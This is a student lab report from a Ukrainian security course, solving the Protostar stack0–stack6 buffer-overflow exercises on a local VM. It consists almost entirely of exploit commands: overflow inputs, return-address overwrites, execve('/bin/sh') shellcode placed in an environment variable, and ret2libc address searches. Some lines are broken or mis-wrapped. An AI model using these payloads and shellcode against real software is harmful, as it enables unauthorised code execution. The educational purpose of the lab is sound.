МІНІСТЕРСТВО ОСВІТИ ТА НАУКИ УКРАЇНИ
НАЦІОНАЛЬНИЙ ТЕХНІЧНИЙ УНІВЕРСИТЕТ УКРАЇНИ
«КИЇВСЬКИЙ ПОЛІТЕХНІЧНИЙ ІНСТИТУТ»
КАФЕДРА АВТОМАТИЗОВАНИХ СИСТЕМ ОБРОБКИ ІНФОРМАЦІЇ ТА УПРАВЛІННЯ

ЗВІТ

до лабораторної роботи №8
з дисципліни “Безпека Інформаційних Систем” на тему:
“Remote Code Execution”

Студента ФІОТ курсу 4 групи ІП-71
напряму підготовки "Програмна інженерія"
спеціальності "Інженерія програмного забезпечення"
Глушка Богдана Сергійовича

Київ - 2020 рік

Хід роботи:
Звіт подано набором команд, які виконувалися в рамках проекту:

Підключення

```
ssh -p 3022 root@127.0.0.1
pwd godmode
cd /opt/protostar/bin
```

1-3 Stacks:

```
./stack0 <<< $(python -c "print 'A'*65")

./stack1 $(python -c "print 'A'*64 + 'dcba'")

GREENIE=$(python -c "print 'x'*64 + '\x0a\x0d\x0a\x0d'") export GREENIE
./stack2

gdb ./stack3
set disassembly-flavor intel
disassemble main
```

4 Stack:

```
./stack4 <<< $(python -c "print 'a'*64")

./stack4 <<< $(python -c "print 'a'*68")

./stack4 <<< $(python -c "print 'a'*72")
// no segmentation fault
./stack4 <<< $(python -c "print 'a'*76")
// segmentation fault == bad return address
gdb ./stack4
x win
// 0x80483f4
./stack4 <<< $(python -c "print 'a'*76 + '\xf4\x83\x04\x08'")
```

5 Stack

```
python -c 'print "A" * 100' > /tmp/stack5.input
gdb -q /opt/protostar/bin/stack5
set disassembly-flavor intel
disas main
br *main+21
run < /tmp/stack5.input
x/16x $esp
x/s 0xbffff770
info frame
//eip at 0xbffff7bc
p 0xbffff7bc - start
//shell ‘\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/
dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\ x50\x68//sh\x68/
bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80’ echo -en export DERP=$(cat
/tmp/shellcode)
gdb -q /opt/protostar/bin/stack5
br main
run
x/17s *environ
p/x 0xbffffa4a + 5 (5 bytes)
# stack5.py
payload = "A" * 76 # write up to return  address
payload += "\x4f\xfa\xff\xbf" # address of
DERP environment variable
print payload
run < /tmp/stack5.input
```

6 Stack

```
user@protostar:~$ gdb -q /opt/protostar/bin/stack6 Reading symbols from
/opt/protostar/bin/stack6...done. (gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27. (gdb) run
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/ stack6.c:27
27  stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x system
0xb7ecffb0 <__libc_system>: 0x890cec83
(gdb) x exit
0xb7ec60c0 <*__GI_exit>:    0x53e58955
(gdb) find &system, +9999999, "/bin/sh"
0xb7fba23f
warning: Unable to access target memory at 0xb7fd9647,  halting search.
```

6 Stack Part II:

```
user@protostar:~$ ldd /opt/protostar/bin/stack6
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000)
/* stack6.c */
#include
#include
int main() {
   char *shell = "/bin/sh";
   char *p = (char *) 0xb7e99000;
   while (memcmp(++p, shell, sizeof(shell)));    printf("%s: %p\n", shell, p);
   exit(0);
}
user@protostar:~$ gcc -o stack6b stack6b.c
user@protostar:~$ ./stack6b
/bin/sh: 0xb7fb63bf
user@protostar:~$ python stack6b.py | /opt/protostar/bin/stack6 input path
```